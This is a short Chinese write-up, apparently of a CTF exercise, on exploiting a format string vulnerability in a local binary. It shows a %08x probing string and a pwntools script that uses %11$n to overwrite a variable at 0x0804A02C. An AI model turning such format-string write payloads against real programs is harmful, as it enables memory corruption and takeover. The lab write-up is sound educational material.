存在格式化字符串漏洞

而实际上x的值为3

需要通过格式化字符串漏洞来重写x的值
使用aaaa %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x测试格式化字符串漏洞长度

格式化字符串的漏洞的任意写地址长度为11。可以使用$n来写地址中的数据。使用%11$n,意思将0x0804A02C的x地址写入32位大小的一个字节,正好是地址长度,可以编写代码如下:
from pwn import *
p = process('./fm')
payload = p32(0x0804A02C)+"%11$n"
p.sendline(payload)
p.interactive()
本文详细介绍了如何利用格式化字符串漏洞来重写内存中的特定值。通过实例演示,使用特定的格式化字符串%n来写入地址0x0804A02C中的x值,展示了如何构造payload并发送到目标程序。
435

被折叠的 条评论
为什么被折叠?



